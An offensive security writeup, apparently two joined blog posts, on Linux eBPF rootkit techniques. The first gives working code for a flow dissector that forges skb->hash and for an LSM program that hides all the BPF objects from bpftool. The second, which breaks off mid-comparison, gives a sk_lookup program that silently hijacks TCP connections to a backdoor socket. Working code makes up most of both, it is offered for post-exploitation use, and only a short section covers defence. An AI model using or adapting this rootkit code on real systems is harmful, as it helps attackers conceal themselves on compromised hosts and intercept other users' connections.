no iptables rule fires, no XDP program runs, tcpdump sees the same bytes. the only thing that changes is a 32-bit number the kernel computes and caches on the skb. that number steers a lot.

and as of the second half of this writeup, that number can be forged by a program that doesn't even show up in bpftool.

what i did:

1. built the attack, a BPF flow dissector that forges the flow keys behind skb->hash, make any flow hash like any other, or like a flow that doesn't exist, four modes, zero packet mutations. (not "set the hash to a value i want"; the kernel owns the key, and that's a later section.)
2. proved it works with deterministic floods (512 flows → 1 hash, plus a bit-for-bit hash forgery).
3. tried to be honest about what it is, it's not a CVE, it's a post-exploitation stealth primitive for someone who already has root.
4. then got bored of being visible and made the whole thing disappear from every bpftool surface: prog list, map list, link list, btf list, net show, from the init netns and from inside containers. the attack keeps working the entire time.

what the flow dissector is

"flow dissector" is the kernel component that answers "what flow does this packet belong to?" it parses the headers and produces a struct flow_keys: L3 and L4 protocol, source/dest IPs, ports, and so on. the same logic feeds a dozen consumers, skb->hash derivation, RPS/RFS CPU selection, ECMP, and bpf_skb_get_hash() in other BPF programs. (GRO reads that number too, but it's a reader, not a trigger, caveat below.)

since 4.20 the kernel lets you replace that dissector with BPF. you attach a program of type BPF_PROG_TYPE_FLOW_DISSECTOR to the network namespace (via bpf(BPF_PROG_ATTACH, ..., BPF_FLOW_DISSECTOR, ...) or libbpf's bpf_program__attach_netns), and the kernel calls it instead of the built-in __skb_flow_dissect logic whenever a flow is dissected in that netns.

the BPF program receives skb->flow_keys, a pointer to a struct bpf_flow_keys, and is supposed to fill it in and return BPF_OK. that's the contract. it can also return BPF_FLOW_DISSECTOR_CONTINUE (129) to say "i decline, use the built-in dissector," or BPF_DROP to say "this packet has no flow info", though a drop doesn't hand consumers a clean zero, it hands them a hash over the nearly-blank keys. exact mess below.

a detail that matters for the code below: the kernel zeroes bpf_flow_keys before invoking you and only pre-fills four fields, n_proto, nhoff, thoff, flags. the kernel's own dissector has already walked part of the headers to figure out where the IP header starts, but it does not hand you the tuple. if you want the real source/dest addresses you have to parse the packet yourself. more on that under the traps.

this is a trust boundary. the kernel was designed for a "control plane" to offload flow dissection to BPF for performance reasons (which is what Meta and Cloudflare do with it in production). the capability is root-only: attaching requires CAP_BPF + CAP_NET_ADMIN in the target netns, same as XDP or TC. so this is not a privilege escalation. it's a stealth primitive for someone who already has root, and that's exactly the interesting part.

why the hash matters

here's the chain. when the kernel needs a flow hash for the skb, it calls skb_get_hash() (net/core/flow_dissector.c):

if (!skb->l4_hash && !skb->sw_hash)
   __skb_get_hash_net(NULL, skb);
return skb->hash;

__skb_get_hash_net() zeroes a local struct flow_keys, calls __skb_flow_dissect(), which invokes your BPF program if one is attached, then runs __flow_hash_from_keys() on the result, a keyed kernel hash (siphash family). that 32-bit value gets cached in skb->hash.

so whoever controls the flow dissector controls the hash input, and the hash input is the only thing that differs between the genuine hash and the forged one. two honest limits before we go on: you can't pick the output, and you don't break the hash. __flow_hash_from_keys() is siphash keyed by hashrnd, a secret the kernel seeds once at boot (net/core/flow_dissector.c:1702), so you control the siphash input but can never request an arbitrary 32-bit value out of it. what you can do is the one thing that matters: hand two flows the same input and they hash identically, or hand a flow a tuple that isn't its own and it becomes that flow, bit-for-bit, in the eyes of anyone who indexes on the hash. you control the input; the kernel's hash quietly does the rest.

who consumes skb->hash?

i verified each of these against current mainline before claiming it, and i hate overclaiming, so here's the honest list. two of the table's rows need a caveat, and one needs to be demoted to "reader":

• ECMP policy 0 (the default, L3-only) is not affected. it calls ip_multipath_l3_keys() which reads the IP header directly (net/ipv4/route.c:2073), never touching the dissector. only multipath policies 1 and 2 route through skb_flow_dissect_flow_keys(). and policy 1 short-circuits on skb->l4_hash, it reads the cached 4-tuple hash if present, so if you've already corrupted it, it takes your word for it.
• GRO never invokes your dissector. gro_list_prepare() and dev_gro_receive() use skb_get_hash_raw(), which just returns the cached skb->hash (net/core/gro.c:347, :463), no skb_get_hash(), so no dissector call, and GRO runs in NAPI before RPS. a freshly received, unhashed packet hits GRO with no dissector involved at all. GRO is only reachable sideways: if some earlier consumer (like RPS) already ran your dissector and left a forged hash on the skb, GRO will happily bucket on it. it's a reader of the same number, not a way to reach it.
• UDP SO_REUSEPORT is not affected. socket selection uses udp_ehashfn() on the raw tuple, not skb->hash. this was my first theory and it's wrong; i checked.

one more subtlety, worth being precise about: the hash is computed lazily and cached. if some consumer already computed skb->hash before your dissector runs on that skb, it keeps the old value. your dissector matters for the flows that get hashed after it's attached, and the demo below shows exactly that path.

there's also a degenerate mode, and the name i use for it in the code (MODE_DROP) is a lie about the outcome: return BPF_DROP and the dissector walks away with a nearly-blank bpf_flow_keys, but the hash does not go to zero. __skb_get_hash_net() ignores __skb_flow_dissect()'s return and still hashes those mostly-empty keys, and __flow_hash_from_keys() even drags a zero off the number: if (!hash) hash = 1; (flow_dissector.c:1813). so no consumer gets a clean 0; they get the same bogus number on every flow, which is its own fingerprint. that's the blunt instrument; the interesting ones forge a real tuple instead.

the PoC

github.com/klydz/flowdiss. two BPF programs in one object:

• dissect (SEC("flow_dissector")), the attacker.
• observe (SEC("tc"), attached via tcx to loopback egress), the victim. it calls bpf_get_hash_recalc() and records every value it sees in a map. that's the value RPS, ECMP and any other BPF consumer read off the number; GRO only reads it if a hash exists by then, which on this loopback path it doesn't.

three maps: cfg (runtime mode switch), seen (hash → count, the observer's output), calls (invocation counters). the dissector has four modes, switched at runtime by writing cfg:

1. MODE_CONTINUE, baseline, returns BPF_FLOW_DISSECTOR_CONTINUE so the kernel falls back to the built-in dissector.
2. MODE_PIN_HASH, force a constant 4-tuple for every packet. every flow in the netns hashes identically.
3. MODE_SPOOF_DST, parse the real IPv4/UDP flow, and for flows genuinely going to port 7777 report port 8888 as the destination. the resulting hash is bit-for-bit identical to a genuine flow to 8888 with the same source.
4. MODE_DROP, return BPF_DROP, every flow collapses onto one bogus hash (degenerate, see the note above, it is not zero).

the full dissector:

SEC("flow_dissector")
int dissect(struct __sk_buff *skb)
{
   struct bpf_flow_keys *fk = skb->flow_keys;
   __u32 zero = 0;
   struct cfg *c = bpf_map_lookup_elem(&cfg, &zero);

   bump(0);                                    /* call counter */

   if (!c || c->mode == MODE_CONTINUE)
       return BPF_FLOW_DISSECTOR_CONTINUE;    /* 129: use built-in */
   if (c->mode == MODE_DROP)
       return BPF_DROP;

   if (c->mode == MODE_PIN_HASH) {
       /* one constant tuple for every packet in the netns */
       fk->addr_proto = ETH_P_IP;             /* HOST order! */
       fk->n_proto    = bpf_htons(ETH_P_IP);
       fk->ip_proto   = IPPROTO_UDP;
       fk->ipv4_src   = bpf_htonl(c->pin_src);
       fk->ipv4_dst   = bpf_htonl(c->pin_dst);
       fk->sport      = bpf_htons(c->pin_sport);
       fk->dport      = bpf_htons(c->pin_dport);
       return BPF_OK;
   }

   /* MODE_SPOOF_DST: parse the real flow, rewrite only the dport */
   {
       struct iphdr ip;
       struct udphdr udp;
       struct sk_buff *kskb = (struct sk_buff *)skb;

       if (bpf_skb_load_bytes(kskb, fk->nhoff, &ip, sizeof(ip)) < 0)
           return BPF_OK;
       if (ip.ihl * 4 < sizeof(struct iphdr) ||
           ip.protocol != IPPROTO_UDP)
           return BPF_OK;
       if (bpf_skb_load_bytes(kskb, fk->nhoff + (__u32)(ip.ihl * 4),
                              &udp, sizeof(udp)) < 0)
           return BPF_OK;

       fk->addr_proto = ETH_P_IP;
       fk->n_proto    = bpf_htons(ETH_P_IP);
       fk->ip_proto   = ip.protocol;
       fk->ipv4_src   = ip.saddr;
       fk->ipv4_dst   = ip.daddr;
       fk->sport      = udp.source;
       fk->dport      = udp.dest;
       if (c->target_port &&
           udp.dest == bpf_htons(c->target_port))    /* flows to 7777 */
           fk->dport = bpf_htons(c->spoof_port);     /* reported as 8888 */
       return BPF_OK;
   }
}

the victim program is even shorter:

SEC("tc")
int observe(struct __sk_buff *skb)
{
   __u32 hash = bpf_get_hash_recalc(skb);   /* == skb->hash */
   __u64 *cnt = bpf_map_lookup_elem(&seen, &hash);
   if (cnt)
       __sync_fetch_and_add(cnt, 1);
   else {
       __u64 init = 1;
       bpf_map_update_elem(&seen, &hash, &init, BPF_NOEXIST);
   }
   return 0;
}

the traps i hit

three things nearly sank this. all three are the kind of thing that only shows up when you actually load the program.

1. direct packet access is fine, once you prove the bounds. my first version did skb->data + fk->nhoff and the verifier rejected it, and for a moment i blamed the variable offset. wrong. the dissector context's data offset is variable (nhoff), sure, but a pointer derived from it is perfectly range-bounded as long as you check it against data_end first. that's exactly what the kernel's own flow-dissector selftest does in bpf_flow_dissect_get_header() (tools/testing/selftests/bpf/progs/bpf_flow.c:92): prove thoff can't overflow (thoff > USHRT_MAX - hdr_size), then hdr + hdr_size <= data_end, then dereference straight off skb->data. my original cut just skipped the bounds check, so the verifier rightly refused it. i shipped bpf_skb_load_bytes() on a struct sk_buff * cast from the __sk_buff * instead, it's the portable, verifier-proof way and the dissector context embeds enough of the real skb for the cast to work. both roads get you there; direct access is supported, the verifier just wants proof.

2. bpf_skb_get_hash doesn't exist as a helper in this kernel. on the 7.x kernel i tested (6.18/7.x-cachyos), vmlinux.h dumps bpf_skb_get_hash as extern u32 bpf_skb_get_hash(struct sk_buff *skb) __weak __ksym, a kfunc, not a helper, and the verifier rejects calling it from a tc program ("calling kernel function ... is not allowed"). the surviving helper is bpf_get_hash_recalc (id 34), which is what the victim program uses. upstream is moving these to kfuncs; the article-level lesson is "check your helper list, don't trust the name."

3. addr_proto is a plain __u16, compared host-order. the kernel copies the addresses into the target keys only when flow_keys->addr_proto == ETH_P_IP compares true (net/core/flow_dissector.c, __skb_flow_bpf_to_target). if you write bpf_htons(ETH_P_IP) on little-endian you get 0x0008, the addresses never get copied, addr_type stays unset, and your siphash input silently covers a zeroed region. write it host-order: fk->addr_proto = ETH_P_IP.

the demo

deterministic floods: 512 client sockets with fixed source ports 30000..30511, one UDP datagram each, to 127.0.0.1. deterministic source ports are the whole trick of the spoof proof, the genuine flows to 8888 and the spoofed flows to 7777 use identical tuples except the destination port, so if the forged hashes equal the genuine ones it's exact equality, not "close".

two details in the userspace loader exist purely so the test is clean: it binds a UDP receiver on both ports so the floods don't generate ICMP port-unreachable (which would pollute the egress hash records), and it clears the seen map between modes.

the observer runs on lo egress and records the hash of every packet. the victim program calls bpf_get_hash_recalc(), which is the exact value RPS, ECMP and any other BPF consumer read off the number, and it's the honest scope of this demo: a TC program on loopback calling skb_get_hash() on a skb that hasn't been hashed yet. that proves the dissector feeds the hash, and RPS/ECMP share exactly that path; it doesn't prove GRO (a raw reader) or any pre-hashed path, those need the caveats above.

=== FLOWDISS ===
bpf flow dissector subverting skb->hash consumers

[bpf] object loaded
[bpf] flow dissector attached to netns
[bpf] hash observer attached to lo egress
[bpf] run:  bpftool net show  (flow_dissector line)

 MODE_CONTINUE (baseline)     distinct hashes = 512
 MODE_PIN_HASH (attack)       distinct hashes = 1   [0x4430a3be]

 spoof proof (target 7777 reported as 8888):
   genuine flows to 8888     distinct hashes = 512
   spoofed flows to 7777     distinct hashes = 512
 => EXACT MATCH: spoofed hashes == genuine 8888 hashes

 flow dissector + observer invocations during demo: 4096

• baseline: 512 distinct flows, 512 distinct hashes.
• PIN_HASH: every flow reports the same 4-tuple, so the whole netns sees exactly one hash 0x4430a3be. RPS would steer every packet to one CPU, ECMP (policy 1/2) would send every flow to one next-hop, and every BPF consumer would read the same number. (that value isn't chosen by me, it's whatever the kernel's siphash outputs for the pinned tuple, i control the input, not the number.)
• spoof proof: the hashes for 512 flows to 8888 and 512 flows to 7777 (reported as 8888) are equal, sorted, value for value. EXACT MATCH. not "close," not "same distribution", the same hash outputs, because the input to __flow_hash_from_keys() is byte-identical.

honest limits, since i hate overclaiming

• this is not a vulnerability in the classic sense. no memory corruption, no privilege boundary crossed. you need CAP_BPF + CAP_NET_ADMIN to attach, which is root. it's an abuse of a designed, privileged hook, a post-exploitation stealth primitive, the same class as BPFDoor or TripleCross. if the machine is already rooted this makes the rootkit quieter, not more powerful.
• ECMP policy 0 (default) is not affected. it reads the IP header directly (ip_multipath_l3_keys), never touching the flow dissector. only multipath policies 1 and 2 route through the dissector. i checked the source before claiming it.
• UDP SO_REUSEPORT is not affected. socket selection uses udp_ehashfn() on the raw tuple, not skb->hash. i checked this one too, because it was my first theory and it's wrong.
• GRO is not a trigger either. it reads skb->hash via skb_get_hash_raw(), so it never invokes the dissector; it only consumes a hash that something else already forged. and the output isn't yours to pick: you control the dissector's keys, the kernel owns the siphash key, so you forge collisions and copies, not arbitrary numbers.
• the hash is cached. skb->hash is computed lazily; flows already hashed before you attach keep their old value. your dissector controls what gets hashed from then on.
• there's no packet-level trace. this is the feature, and the point: tcpdump, iptables, nft and XDP all see the original bytes. the only observable is the hash.

detection (and a real blind spot)

the hook is visible via two commands, but they see different things:

# while attached
$ bpftool net show
flow_dissector:
id 128

$ bpftool prog list
128: flow_dissector  name dissect  tag 6340d6ae4f5ac703  gpl

bpftool prog list enumerates every loaded program globally (BPF_PROG_GET_NEXT_ID), in the naive case you cannot hide a loaded program from it. bpftool net show, though, is netns-scoped: it opens /proc/self/ns/net and queries only that namespace's run_array[NETNS_BPF_FLOW_DISSECTOR] (net/core/net_namespace.c, netns_bpf_prog_query). the kernel rejects query_flags for netns, so there's no "effective, inherited" walk up to init_net.

that creates an asymmetry i verified on a live kernel:

# in init_net (host)
$ bpftool net show
flow_dissector:
id 151

# in a child netns (unshare -n)
$ bpftool net show
flow_dissector:
  <empty>

while the runtime lookup (net/core/flow_dissector.c, bpf_flow_dissect) reads init_net first and only falls back to the packet's own netns, so a dissector attached to init_net is machine-wide and affects every netns. the detection surface and the runtime surface are not the same:

• attach to init_net → machine-wide effect, but a defender running bpftool net show inside any container sees nothing. in containerized environments, where operators check inside namespaces, this hides the hook entirely from net show.
• bpftool prog list still finds it, the loaded program is globally visible. (until the next section, which fixes even that.)
• reaching init_net to attach requires host-level root anyway (current->nsproxy->net_ns), so this is a post-compromise stealth technique for a host-rooted rootkit, not a container escape.

hiding it completely (the ghost)

the "naive case" above is doing a lot of work. every bpftool enumeration is a userspace loop over the bpf() syscall, and every bpf() syscall first passes through the security_bpf LSM hook before the command is even dispatched:

/* kernel/bpf/syscall.c, __sys_bpf() */
err = security_bpf(cmd, &attr, size);
if (err)
   return err;
/* ... now dispatch cmd ... */

that hook is BPF-attachable (security_bpf is not in bpf_lsm_disabled_hooks, kernel/bpf/bpf_lsm.c), runs in process context with the full union bpf_attr * in memory, and can return any error it likes. so: attach your own LSM program there, and lie to every enumeration command.

the full matrix of what bpftool does and what we return instead:

two payload errors do all the work:

• -ENOENT is exactly what bpftool already treats as "this object no longer exists". every *_GET_FD_BY_ID loop in tools/bpf/bpftool/{prog,map,link,btf}.c is if (errno == ENOENT) continue;, the id is silently skipped, no error printed, no warning. the kernel never notices: to it, the object genuinely exists, nothing is detached, and the attack keeps running.
• -EINVAL on BPF_PROG_QUERY is what bpftool net reads as "this kernel is too old to query that hook" and quietly prints an empty section. query_flow_dissector() in bpftool_net.c returns 0 on -EINVAL (/* Older kernel's don't support querying flow dissector programs. */), and the tcx dumper ignores query errors entirely. this is what closes the init_net net show hole, the query never happens, so even the namespace that owns the dissector shows nothing.

the ids to hide are read straight out of bpf_attr: the prog_id/map_id/link_id/btf_id are all at offset 0 of the union, and query.attach_type at offset 4. the ghost's switch statement:

SEC("lsm/bpf")
int BPF_PROG(ghost_bpf, int cmd, union bpf_attr *attr,
           unsigned int size, bool kernel)
{
   __u32 id = 0;
   switch (cmd) {
   case BPF_PROG_GET_FD_BY_ID:                  /* 13 */
       bpf_core_read(&id, sizeof(id), &attr->prog_id);
       if (in_set(&hide_progs, id)) return -ENOENT;
       break;
   case BPF_MAP_GET_FD_BY_ID:                   /* 14 */
       bpf_core_read(&id, sizeof(id), &attr->map_id);
       if (in_set(&hide_maps, id))  return -ENOENT;
       break;
   case BPF_LINK_GET_FD_BY_ID:                  /* 30 */
       bpf_core_read(&id, sizeof(id), &attr->link_id);
       if (in_set(&hide_links, id)) return -ENOENT;
       break;
   case BPF_BTF_GET_FD_BY_ID:                   /* 19 */
       bpf_core_read(&id, sizeof(id), &attr->btf_id);
       if (in_set(&hide_btfs, id))  return -ENOENT;
       break;
   case BPF_PROG_QUERY:                         /* 16 */
       bpf_core_read(&id, sizeof(id), &attr->query.attach_type);
       if (blind(id)) return -EINVAL;  /* FLOW_DISSECTOR=17,
                                         TCX_INGRESS=46, TCX_EGRESS=47 */
       break;
   }
   return 0;                                    /* everything else: pass */
}

in_set() is a hash-map lookup (key = id, value = 1); blind() checks the cfg flags and returns true for the flow-dissector attach type (and optionally the two tcx types). a handful of maps: four hide_* hash maps, a cfg flags map, a dbg counter map that made debugging the thing possible.

the hiding program hides itself too. the loader:

1. loads the LSM object and fills the hide maps with the victim's ids (dissector prog, observer prog, their three maps, their two links, the shared BTF object).
2. attaches the LSM to security_bpf.
3. reads its own ids via bpf_obj_get_info_by_fd() and writes them into the hide sets, its prog id, its LSM link id, all six of its maps, its BTF id.

so after step 3 there is nothing left to find: no attacker program, no observer, no netns/tcx links, no maps, no BTF object, and no visible "ghost" LSM program sitting there doing the hiding. bpftool prog list shows only the programs that existed before you started.

the loader then just sits there, or, in the real scenario, the netns link that pins the dissector keeps the whole attack alive even if the loader exits. the ghost never detaches anything; it only makes the syscalls that would discover things fail.

repo: github.com/klydz/ghost (make, ./ghost_demo.sh).

live result, running the attack inside a fully ghosted box:

$ bpftool net show                $ bpftool prog list
xdp:                              (no dissect / observe / ghost_bpf)
tc:
flow_dissector:                   $ bpftool link list
netfilter:                        2: tracing  prog 26
                                  3: perf_event  prog 57
                                  4: perf_event  prog 59

the attack meanwhile, from the demo run while hidden:

 MODE_CONTINUE (baseline)     distinct hashes = 512
 MODE_PIN_HASH (attack)       distinct hashes = 1   [0x4430a3be]
 => EXACT MATCH: spoofed hashes == genuine 8888 hashes
 flow dissector + observer invocations during demo: 4098

nothing was detached, the ghost only makes the syscalls that would discover it fail. all five listings are clean, from init_net and from inside a child netns alike, while the dissector is provably still running.

how i got here (the debugging that made this real)

two attempts stand out.

attempt one was a false positive. i hid the dissector prog id and bpftool prog list went quiet, except the flow dissector had already been detached by a stale demo, so "nothing visible" was trivially true. the fix was counters: a dbg map bumped on every LSM invocation, every matching command, every hit. the follow-up run showed dbg[0]=201 LSM calls, dbg[1]=33 GET_FD_BY_ID calls, dbg[3]=4 matches, the hook was genuinely firing and genuinely hiding. the lesson: prove the victim is alive before you claim the hide works. pgrep the demo process, check the counters, then believe it.

attempt two was the leak. hiding progs alone left bpftool net show showing the dissector from init_net, plus map/link/btf surfaces. the net show leak is the nasty one: it uses BPF_PROG_QUERY, not GET_FD_BY_ID, so the ENOENT trick doesn't touch it. the EINVAL blind was the unlock, make the query report "kernel too old", and bpftool prints an empty section instead of an error. that closed init_net. the full 5-surface matrix above came from enumerating every command bpftool issues and answering each one.

limits of the ghost

• GET_NEXT_ID still returns the ids. bpftool never displays a hidden object, but a defender who skips bpftool and enumerates with raw bpf(BPF_PROG_GET_NEXT_ID) then probes GET_FD_BY_ID finds "existing but unopenable" ids. live, while ghosted: prog ids present-but-unopenable [1295, 1296, 1338] (dissect, observe, the LSM itself), links [169, 170, 175]. it's a gap fingerprint, not full erasure. the demo prints this exact residual at the end.
• the query blinding is global. on a box with legitimate tcx or flow-dissector programs, bpftool net show goes blank for those too. fine for a clean dedicated box, conspicuous on a shared one, the loader has --no-tcx/--no-flow if you only need to hide your own ids.
• process-level residue. /proc/<pid>/fd of the loader shows anon_inode:bpf-* fds, and a root who scans ps sees the process. hiding that needs an LKM; out of scope here.
• kernel memory is king. prog_idr, link_idr and the netns run_array still hold everything. memory forensics or a non-bpf() kernel-level check sees it all. BPF-on-BPF hiding only defeats the BPF tooling.
• as ever: this is not a vulnerability. installing the ghost, like installing the attack, requires root. it is post-exploitation stealth.

defending against this

• don't trust bpftool on a rooted box. a root attacker's BPF program can make every listing come up empty. treat "clean" output as evidence of nothing.
• kernel memory is the source of truth. prog_idr, link_idr, the netns run_array and any BPF object audit that walks kernel memory (crash dumps, /proc/kcore readers, kernel modules with access to the idr) see everything the syscall shim hides.
• write a custom enumerator. 10 lines of raw bpf(): walk GET_NEXT_ID, probe GET_FD_BY_ID, flag ids that exist but can't be opened. that gap fingerprint is the ghost's tell.
• watch entropy, not tooling. a sudden collapse in RPS/ECMP hash entropy, every flow hashing to one bucket, is the actual signal. bpftool net show inside namespaces won't catch the init_net attach either, so entropy monitoring beats both bypasses.
• LSM introspection. the bpf LSM itself is the attack's substrate. if your threat model is a rooted host, enumerate LSM hook attachments from a place the attacker's own LSM program can't reach, a kernel-module-level check sees the security_bpf attachment regardless of what its bpf() syscall lies report.

why this matters

the interesting thing isn't that a root attacker can mess with RPS. it's that there's a whole class of kernel machinery that runs on a hash, a hash that is derived from data a BPF program can forge with zero packet mutations, and the dissector, the program that decides what everything else believes, is the program nobody audits.

and the hiding layer is the second half of the story: the audit surface and the runtime surface are different, and when you control the audit surface's own syscall you can make the tooling testify on your behalf. bpftool prog list isn't a security boundary; it's a convenience wrapper around a syscall that a root attacker can intercept.

if you're writing defense tooling that trusts skb->hash (load-balancing decisions, per-flow accounting, Cilium/kube-proxy steering), you should know what it's actually derived from. and if you're on the red side, this is one more root-only hook that lives outside the packet path, leaves no byte-level trace, and gives you a machine-wide lie for the price of 166 lines of C, plus a 100-line LSM that makes it invisible.

article repo: github.com/klydz/flowdiss (build with make, run with sudo ./flowdiss, modes switched via the cfg map).
hiding repo: github.com/klydz/ghost (make, ./ghost_demo.sh).

when you have root on a Linux box and you want to intercept someone else's TCP connections, the options are all kind of annoying.

you can iptables REDIRECT or DNAT, but those touch every packet and leave a trail in the ruleset. you can ARP-spoof if you're on the same L2, but that's noisy and doesn't work for local traffic. you can LD_PRELOAD a shared library into the target process, but that needs the process to restart or you need ptrace, and ptrace is the noisiest thing you can do on a Linux box after running rm -rf /.

then there's the eBPF approach, which is more elegant but still annoying in its own ways. XDP sucks for this because it runs before routing and you need to manually fix up everything. TC is fine but you're still mangling packets and recalculating checksums. both require attaching to a specific interface and don't work on loopback without gymnastics.

there's a better way and nobody in the offensive space seems to have noticed. it's been in the kernel since 2020.

what SK_LOOKUP actually is

Linux 5.6 introduced BPF_PROG_TYPE_SK_LOOKUP. it was written by Jakub Sitnicki from Cloudflare, who needed it for their Spectrum product, a reverse proxy that needed to steer connections from a huge range of IPs to individual sockets without binding thousands of sockets. the kernel docs describe it as "introducing programmability into the socket lookup performed by the transport layer when a packet is to be delivered locally."

what does that mean in practice?

normally when a TCP SYN arrives, the kernel does a hash table lookup in the listening socket table. it hashes the destination port and walks a linked list until it finds a socket with a matching IP. if nothing matches, the connection gets RST'd.

SK_LOOKUP inserts itself between that SYN arriving and the socket table lookup. you attach a BPF program to the whole network namespace (not to a specific interface, which is the first hint that this is different from XDP/TC). every time the transport layer needs to find a listening socket for an incoming connection, your BPF program runs first.

your program can:

• return SK_PASS and do nothing (normal lookup continues)
• return SK_DROP (connection gets killed)
• call bpf_sk_assign(some_socket) and return SK_PASS (your socket gets the connection instead)

option three is the interesting one.

the thing that makes it special

all the existing eBPF backdoors use XDP or TC. TripleCross, ebpfkit, Boopkit, LinkPro, all of them. these run on packets as they cross a network interface. you get to see the packet, maybe mangle it, maybe forward it somewhere else. but you're always working with raw packets and always attached to a specific interface.

SK_LOOKUP is different. it runs at the socket layer. the packet has already been received, already been through routing, already been delivered to the local stack. the kernel is saying "who gets this?" and your BPF program says "that guy, actually."

the difference matters because:

• you're working with sockets, not packets. you don't need to parse headers, recalculate checksums, or worry about TCP sequence numbers. you just say "this socket gets it."
• it works on loopback. XDP doesn't by default. TC does but it's awkward.
• it's per-network-namespace, not per-interface. one attach and it covers everything on that host.
• the packet never gets modified. tcpdump on the destination shows the original destination IP and port. there's nothing at the network level to catch.
• it's transparent to the connecting client too. they sent a SYN to port 80, they got a SYN-ACK back, they think they're talking to nginx. they have no idea their data is going to your backdoor socket instead.

building it

the PoC is simple. embarrassingly simple, that's the whole point.

here's the kernel-side BPF program in full:

struct {
    __uint(type, BPF_MAP_TYPE_SOCKHASH);
    __uint(max_entries, 1);
    __type(key, u32);
    __type(value, u64);
} sock_map SEC(".maps");

SEC("sk_lookup")
int sk_redirect(struct bpf_sk_lookup *ctx) {
    if (ctx->local_port != TARGET_PORT)
        return SK_PASS;

    u32 key = 0;
    struct bpf_sock *sk = bpf_map_lookup_elem(&sock_map, &key);
    if (!sk)
        return SK_PASS;

    bpf_sk_assign(ctx, (void *)sk, 0);
    bpf_sk_release(sk);
    return SK_PASS;
}

that's 28 lines. 28 lines of BPF that hijacks every TCP connection to port 9999 and hands them to whatever socket you put in the map.

it reads ctx->local_port which is the destination port (in host byte order, which caught me out, more on that later). if it doesn't match, it passes, the normal socket lookup continues. if it does match, it looks up a socket from the SOCKHASH map, calls bpf_sk_assign to hand the connection to that socket, and releases its reference.

the userspace side is not much more complicated:

static void *backdoor_thread(void *arg) {
    int fd = socket(AF_INET, SOCK_STREAM, 0);
    /* bind to 127.0.0.1:31337, listen */
    /* store fd in arg for the main thread */
    /* accept() loops until connection arrives */
}

int main(void) {
    /* spin up backdoor listener thread */
    /* load BPF object via libbpf */
    /* store backdoor socket fd in sock_map */
    /* attach BPF program to netns */
    /* connect to 127.0.0.1:9999 as a test client */
    /* read the response, should be "BACKDOOR CONNECTION" */
}

the thread creates a normal TCP listening socket on 127.0.0.1:31337. the BPF program is loaded, the socket fd is stored in the SOCKHASH map, and the program is attached to the network namespace. then when you connect to port 9999, the kernel's socket lookup runs the BPF program, which redirects your connection to the socket on port 31337. you get "BACKDOOR CONNECTION" back. the client thinks it connected to whatever was supposed to be on 9999.

and that's it. that's the whole thing.

what broke and why

i'm not going to pretend this worked on the first try.

the first version used bpf_sk_lookup_tcp, which is helper #84. that's not the same as bpf_sk_assign. bpf_sk_lookup_tcp does a kernel socket table lookup and returns a socket. the idea was: intercept connections to port 9999, then look up my backdoor socket from the kernel's socket table by connecting to it via bpf_sk_lookup_tcp, then assign that.

the verifier said no:

program of this type cannot use helper bpf_sk_lookup_tcp#84

that was the first surprise. bpf_sk_lookup_tcp exists but isn't allowed in SK_LOOKUP programs. this makes some sense if you think about it, allowing a program that runs during socket lookup to recursively do another socket lookup creates weird questions about reentrancy and locking. but the kernel docs show examples using it, so i expected it to work. either this kernel compiled SK_LOOKUP without that helper (config option not set), or the helper was removed at some point. i didn't dig into which.

the fix was to use a SOCKHASH map instead. the userspace program stores the backdoor socket fd in the map. the BPF program looks it up with bpf_map_lookup_elem. no kernel socket table lookup needed.

but that introduced the second issue. bpf_map_lookup_elem on a SOCKHASH returns a struct bpf_sock * with a reference held. the verifier is strict about this, you must release the reference before the program exits. if you don't:

Unreleased reference id=2 alloc_insn=9
BPF_EXIT instruction in main prog would lead to reference leak

so bpf_sk_release(sk) is required after bpf_sk_assign. the reference from the map lookup is yours. bpf_sk_assign takes its own. you need to release yours.

the third issue was byte order.

if you look at struct bpf_sk_lookup in vmlinux.h, local_port is __u32 with no __be annotation. compare with remote_port which is __be16. the kernel-internal struct bpf_sk_lookup_kern has dport as plain u16 too. this is intentional: the kernel converts the destination port from network to host byte order before the BPF program ever sees it (bpf_sk_lookup_kern.dport = ntohs(wire_dport)).

i initially wrote:

if (ctx->local_port != bpf_htons(TARGET_PORT))

which is wrong because the conversion already happened. comparing a host-order field against a host-order value with an extra ntohs/htons layer would give you 0x0f27 != 9999 on x86 and the redirect would silently never fire. the fix:

if (ctx->local_port != TARGET_PORT)

on a big-endian architecture ntohs is a no-op, so the behavior would be the same. the field is always in host order regardless of platform. the annotation absence in the struct is the tell, and it's easy to miss if you're used to network header fields being always in network byte order.

why nobody seems to have done this

i searched pretty thoroughly before writing this up. here's what i found:

• TripleCross (2021, 2k stars on GitHub): uses XDP + TC for the network backdoor. C2 via raw sockets. no SK_LOOKUP.
• ebpfkit (2020): XDP-based. no SK_LOOKUP.
• Boopkit: XDP-based TCP reverse shell. no SK_LOOKUP.
• LinkPro (Synacktiv analysis, 2025): XDP + TC, magic packet activation via TCP window size field. no SK_LOOKUP.
• BPFDoor (2021-present, real APT malware): uses classic BPF (not eBPF) filters on raw sockets. completely different approach. no SK_LOOKUP.

the closest thing to this technique in published offensive research is... the kernel documentation. the kernel docs literally show this exact pattern (SOCKHASH + bpf_map_lookup_elem + bpf_sk_assign) as the canonical example of how to use SK_LOOKUP. it's in the kernel tree. it's been there since 2020.

so the technique isn't new. what's new is the observation that the entire offensive eBPF ecosystem has missed this program type. everyone jumped on XDP and TC because those are the obvious places to intercept network traffic. SK_LOOKUP is more obscure. it's in a different part of the stack. you find it by reading the BPF program type list and wondering what "sk_lookup" does.

there are tutorial blog posts about using SK_LOOKUP for load balancing (arthurchiao.art 2022, the eBPF Chirp blog 2024). Cloudflare open-sourced Tubular in 2024 which uses it. but nobody wrote "you can also use this to steal connections." it's one of those features that's obviously useful to attackers if you think about it for two seconds, but nobody said the quiet part out loud.

comparison with XDP/TC

XDP runs before the kernel allocates an skb. you get a raw packet buffer. you can drop it, pass it, or redirect it to another interface. for socket interception, you'd need to redirect the packet to a userspace proxy application, which then creates its own connection to the real backend. it works but it's complex.

TC runs after the kernel allocates an skb but before the socket lookup. you get an skb. you can modify it and recalculate checksums. for socket interception, you'd typically do DNAT, change the destination port to your backdoor port and let the kernel's normal socket lookup handle the rest. the packet on the wire is modified though. tcpdump shows your backdoor port, not the original.

SK_LOOKUP is simpler than both. you don't touch the packet. you don't recalculate anything. you don't need a proxy process. your backdoor socket is a regular listening socket. the BPF program just says "this connection goes there." that's it.

the trade-off:

• XDP: fast, works on raw frames, but needs proxy for TCP
• TC: flexible, packet-level control, but modifies the packet
